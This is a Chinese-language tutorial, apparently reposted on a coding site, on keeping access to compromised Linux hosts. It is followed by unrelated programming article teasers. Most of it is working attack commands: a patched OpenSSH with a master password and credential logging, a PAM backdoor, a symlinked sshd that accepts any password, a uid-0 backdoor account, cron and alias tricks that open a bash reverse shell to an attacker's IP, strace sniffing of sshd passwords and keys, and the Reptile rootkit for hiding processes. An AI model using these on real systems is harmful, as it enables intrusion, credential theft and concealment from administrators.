Linux系统权限维持篇

Openssh后门

重新安装自定义的openssh,达到记录账户密码,也可以采用万能密码连接的功能

1、登录方式
2、登录软件
3、登录机制
环境准备
yum -y install openssl openssl-devel pam-devel zlib zlib-devel
yum -y install gcc gcc-c++ make
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gzwget https://mirror.aarnet.edu.au/pub/0penBSD/0penSSH/portable/openssh-5.9p1.tar.gztar -xzvf openssh-5.9p1.tar.gztar -xzvf 0x06-openssh-5.9p1.patch.tar.gzcp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1cd openssh-5.9p1 && patch < sshbd5.9p1.diff

2.编辑密码:

vim includes.h
#define ILOG  "/tmp/ilog"  #ILOG是别人用ssh登录该主机记录的日志记录
#define OLOG "/tmp/olog"   #OLOG是该主机用ssh登录其他主机记录的日志目录
#define SECRETPW "hello"   #设置万能密码为hello

通过万能密码登录成功或者失败都会在ilog和olog上做记录

3.安装编译

./configure --prefix=/usr--sysconfdir=/etc/ssh--with-pam --with-kerberos5 && make && make install
service sshd restart     //重启服务
systemctl status sshd   //查看服务状态

另一种方法就是发送数据到远程服务器上去

PAM启动替换

PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的人认证,简单来说就是一种用于Linux系统上的用户身份验证机制,进行验证时首先 确定是什么服务,然后加载对应的PAM配置文件,最后调用认证文件进行安全认证,简易利用的PAM后门也是通过修改PAM源码中的认证的逻辑来达到权限维持的

1.获取目标系统所使用的PAM版本,下载对应的pam版本
2.解压缩,修改pam_unix_auth.c文件,添加万能密码
3.编译安装PAM
4.编译完后的文件在:modules\pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即使用万能密码登录,将用户名密码记录到文件中

配置环境

1.关闭selinux setenforce 0
2.查询版本 rpm -qa | grep pam   //查询到是什么版本就去网上找对应版本,比如这个是1.1.8
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz    //下载对应版本tar -zxvf inux-PAM-1.1.8         //解压对应版本yum install gcc flex flex-devel -y      //安装插件

编辑后门配置文件

编译安装

./configure &&make

备份替换

备份原有的pam_unix.so,防止出现错误登录不上
复制新PAM模块到/lib64/security目录下
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
cd Linux-PAM-1.1.8/modules/pam_unix/.libs
cp pam_unix.so /usr/lib64/security/pam_unix.so
登录测试即可

软链接方式

在sshd服务配置启用PAM认证的前提下,PAM配置文件中控制标志为sufficient时,只要pam_rookok模块检测uid为0(root)即可成功认证登录

SSH配置中开启了PAM进行身份验证 查看是否使用PAM进行身份验证 查看是否使用了PAM进行身份验证

cat /etc/ssh/sshd_config | grep UserPAM
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort   8888   //绑定到端口上了,端口不需要验证账号密码,所以可以直接登录
ssh root@xx.xx.xx.xx -p 8888    //任意密码登录进去即可

公私钥文件

1.开启支持

vim /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys

本地生成密钥

ssh-keygen -t rsa    //三次回车
id_rsa      //私钥
id_rsa.pub    //公钥
复制公钥到服务器
cd /root/.ssh/
vim authorized_keys(id_rsa.pub)    就是复制公钥到这个authorized_keys目录中
chmod 600 authorized_keys

另外一种 **在服务器中弄一个密钥对文件,就是公钥私钥都在.ssh目录下,然后本地就可以无密码登录执行了 **

后门账号

添加root用户 添加账号test1,设置uid为0,密码为123456

第一种:useradd -p  `openssl passwd -1 -salt 'hello' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1

第二种:

echo "hello:x:0:0::/:/bin/sh" >>/etc/passwd  #增加超级管理员账号passwd hello   #修改账号的密码

一键植入权限维持: https://github.com/RuoJi6/HackerPermKeeper

计划任务的权限维持

1.安装nc,在攻击机上

yum update -y
yum install -y nc

一个是权限维持的目标,一个是我们自己的服务器

vim /etc/.shell.sh
#!/bin/bash
bash -i >&/dev/tcp/ip(公网服务器ip)/5555 0>&1
chmod +x /etc/.shell.sh

添加定时任务

vim /etc/crontab     /var/spool/cron也是计划任务配置文件
*/1 * * * * root /etc/.shell.sh    //每一分钟以root权限执行一次etc目录下的.shell.sh脚本反弹shell

攻击机开启监听,登录连接

nc -nlvp 5555

strace后门

1.记录sshd明文

(strace -f -F -p `ps aux | grep "sshd -D"| grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2 >/tmp/.sshd.log &)
grep -E 'read\(6,".+\\0\\0\\0\\.+"' /tmp/.sshd.log    //查看用户连接的密码

2.记录sshd私钥

(strace -f -F -p `ps aux | grep "sshd -D"| grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2 >/tmp/.sshd.log &)
grep "PRIVATE_KEY" /tmp/.sshd.log

然后可以写一个脚本发送log到我的服务器,就可以一直知道服务器的密码了

alias后门

定义:alias ls='ls -la'
删除:unalias ls
1.利用
alias ls='alerts(){ls $* --color=auto;bash -i >&/dev/tcp/kali的ip/port 0>&1};alerts'    //用户执行ls就会反弹shell了

工具维权

https://gitee.com/lmc9504/Reptile/repository/archive/master.zip

本地有下载过,可以去看一下 在安装这个工具的时候可以选择参数,然后可以设置隐藏的文件名,然后文件只要开头是我设置的文件名,就会隐藏

1.使用

/reptile/reptile_cmd hide     //隐藏进程
/reptile/reptile_cmd show   //查看进程
ps -ef | grep ping | grep -v grep    //查看ping的进程id
/reptile/reptile_cmd hide 2792     //隐藏2792这个进程
ps -ef | grep ping | grep -v grep

2.隐藏链接

/reptile/reptile_cmd  udp hide    //隐藏udp连接
/reptile/reptile_cmd  tcp show    //查看tcp连接
netstat -antpu | grep 10.10.1.1  //查看连接
/reptile/reptile_cmd tcp 10.10.1.1 445 hide   //隐藏这个网络连接

3.隐藏文件

文件名中带有reptile的都会被隐藏 ,因为我在安装的时候使用的就是reptile

自动化权限维持项目

https://github.com/RuoJi6/HackerPermKeeper

1.通过把check.py复制到目标主机可以检测当前系统可以部署哪些权限维持方法
2.然后在工具本地,也就是项目目录下运行main.py
python main.py -c l 查看可以部署的权限维持方式
python main.py -m 4   //生成4对应的权限维持payload
可以通过这个工具来写入计划任务

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/89541.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/89541.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

spring中maven缺少包如何重新加载,报错java: 程序包org.springframework.web.reactive.function不存在

错误原因分析 java: 程序包org.springframework.web.reactive.function不存在 这个错误是由于 项目中缺少 Spring WebFlux 相关依赖 导致的。org.springframework.web.reactive.function 包属于 Spring WebFlux 模块&#xff08;用于响应式 Web 开发&#xff09;&#xff0c;如…

Linux--线程池

目录 Linux线程池 线程池的概念 线程池的优点 线程池的应用场景 线程池的实现 Linux线程池 线程池的概念 线程池是一种线程的使用模式。 其存在的主要原因就为&#xff1a;线程过多会带来调度开销&#xff0c;进而影响缓存局部性和整体性能。而线程池维护着多个线程&#…

mars3d (基于 Cesium 的轻量化三维地图库)

mars3d 是什么? Mars3D 作为基于 Cesium 的轻量化框架,正以其简洁的 API 和强大的功能重新定义开发体验。它不仅解决了原生 Cesium 学习曲线陡峭的问题,还通过封装和优化实现了性能与易用性的双重突破。无论是智慧城市、低空经济还是军事仿真,Mars3D 都能提供高效的三维可视…

uniapp 中使用路由导航守卫,进行登录鉴权

前言: 在uniapp 使用中,对于登录界面可能需要路由守卫进行方便判断跳转,以下有两种方案,可以判断用户跳转的时候是否是登录状态 方案一: 1. 可以使用插件 hh-router-guard 2. 使用 uni-simpe-route 方案二: 使用通过uni提供的拦截器实现, uni.addInterceptor 1.新建in…

Leetcode 262. 行程和用户

1.题目基本信息 1.1.题目描述 表&#xff1a;Trips ----------------------- | Column Name | Type | ----------------------- | id | int | | client_id | int | | driver_id | int | | city_id | int | | status | enum | | request_at | varchar | -----------…

P1102 A-B 数对

P1102 A-B 数对 题目背景 出题是一件痛苦的事情! 相同的题目看多了也会有审美疲劳,于是我舍弃了大家所熟悉的 A+B Problem,改用 A-B 了哈哈! 题目描述 给出一串正整数数列以及一个正整数 C C C,要求计算出所有满足 A − B = C A - B = C A−B=C 的数对的个数(不同…

devextreme-vue的DxDataGrid如何显示行号列

devextreme-vue我使用的是23.2版本&#xff0c;其DxDataGrid如何显示行号列&#xff0c;官方一直没有方案。 DataGrid - How to display a row number in data rows in Angular | DevExpress Support dxDataGrid - provide capability to display a column with row numbers …

【设计模式06】建造者模式

前言 没什么用&#xff0c;类似于builder.build UML类图 代码示例 package com.sw.learn.pattern.B_create.e_builder;import java.util.Scanner;public class Main {public static void main(String[] args) {Scanner sc new Scanner(System.in);int n sc.nextInt();for …

datax-web报错:连接数据库失败. 请检查您的 账号、密码、数据库名称、IP、Port或者向 DBA 寻求帮助(注意网络环境)

文章目录 一、报错内容二、解决方法 一、报错内容 背景描述&#xff1a; 在linux安装了datax202309版本及datax-web2.1.2版本&#xff0c;datax与datax-web默认都是mysql5.x版本的。我的数据库是mysql8.x版本的。 在datax中执行json脚本从一个mysql导入mysql没问题&#xff0…

C#调用C++导出的dll怎么调试进入C++ DLL源码

第一步&#xff1a;首先需要打开C源码&#xff0c;不需要任何设置&#xff0c;直接下断点&#xff0c;然后将生成DLL目录改成到C# exe生成目录里面 第二步&#xff1a;打开winform项目&#xff0c;然后在C#项目属性->启用本地代码调试勾选后即可 最后在C#下断点F10或者F11…

Skyeye 云智能制造办公系统 - Saas v3.16.10 发布

Skyeye 云智能制造&#xff0c;采用 Springboot (微服务) Layui UNI-APP Ant Design Vue 的低代码平台。包含 30 多个应用模块、50 多种电子流程&#xff0c;CRM、PM、ERP、MES、ADM、EHR、笔记、知识库、项目、门店、商城、财务、多班次考勤、薪资、招聘、云售后、论坛、公…

pdf 合并 python实现(已解决)

在Python中&#xff0c;可以使用多种库来合并PDF文件&#xff0c;其中最常用的是PyPDF2和PyMuPDF&#xff08;又名fitz&#xff09;。下面我将分别介绍如何使用这两个库来合并PDF文件。 使用PyPDF2 首先&#xff0c;你需要安装PyPDF2。可以使用pip来安装&#xff1a; 先按照库…

VCenter SSL过期,登录提示HTTP 500错误解决办法

报错图&#xff1a; 1. 开启 VCenter ssh远程连接 登录vmware esxi&#xff0c;双击打开VCenter 控制台黑窗口&#xff0c;根据提示按F2键 两次&#xff0c;打开系统设置&#xff08;有fn键使用fnF2键&#xff09; 输入root密码&#xff0c;按回车登录 选择“Troubleshooting …

Linux 下安装Oracle 11gR2 x64 netca启动不了

前言 Oracle Network Configuration Assistant (netca) 是 Oracle 提供的图形化网络配置工具&#xff0c;用于简化 Oracle 数据库网络组件的配置和管理。 核心功能 1、配置监听器 (LISTENER)创建、修改或删除数据库监听器&#xff08;默认端口 1521&#xff09;定义监听协议…

Pytorch1线性代数实现

Pytorch --线性代数实现 矩阵 正如向量将标量从零阶推广到一阶&#xff0c;矩阵将向量从一阶推广到二阶。 矩阵&#xff0c;我们通常用粗体、大写字母来表示 &#xff08;例如&#xff0c;&#x1d44b;、&#x1d44c;和&#x1d44d;&#xff09;&#xff0c; 在代码中表示…

行业分享丨泛亚汽车数字化转型实践:虚拟仿真技术如何赋能汽车研发的创新实践?

随着汽车行业向智能化、电动化快速转型&#xff0c;虚拟仿真技术正成为推动产品研发变革的核心驱动力。作为行业技术先锋&#xff0c;泛亚汽车通过系统性布局&#xff0c;构建了完整的虚拟仿真技术体系&#xff0c;并总结出三个关键方向&#xff1a;打造数字化研发体系、探索精…

【硬核数学】4. AI的“寻路”艺术:优化理论如何找到模型的最优解《从零构建机器学习、深度学习到LLM的数学认知》

欢迎来到本系列的第四篇文章。我们已经知道&#xff0c;训练一个AI模型&#xff0c;本质上是在寻找一组参数&#xff0c;使得描述模型“有多差”的损失函数 L ( θ ) L(\theta) L(θ) 达到最小值。微积分给了我们强大的工具——梯度下降&#xff0c;告诉我们如何一步步地向着最…

springboot切面编程

SpringBoot切面编程 众所周知&#xff0c;spring最核心的两个功能是aop和ioc&#xff0c;即面向切面和控制反转。本文会讲一讲SpringBoot如何使用AOP实现面向切面的过程原理。 何为AOP AOP&#xff08;Aspect OrientedProgramming&#xff09;&#xff1a;面向切面编程&…

【Redis#4】Redis 数据结构 -- String类型

一、前言 1. 基本概念 理解&#xff1a;字符串对象是 Redis 中最基本的数据类型,也是我们工作中最常用的数据类型。redis中的键都是字符串对象&#xff0c;而且其他几种数据结构都是在字符串对象基础上构建的。字符串对象的值实际可以是字符串、数字、甚至是二进制&#xff0…

Spring Boot 集成 Dufs 通过 WebDAV 实现文件管理

Spring Boot 集成 Dufs 通过 WebDAV 实现文件管理 引言 在现代应用开发中&#xff0c;文件存储和管理是一个常见需求。Dufs 是一个轻量级的文件服务器&#xff0c;支持 WebDAV 协议&#xff0c;可以方便地集成到 Spring Boot 应用中。本文将详细介绍如何使用 WebDAV 协议在 Sp…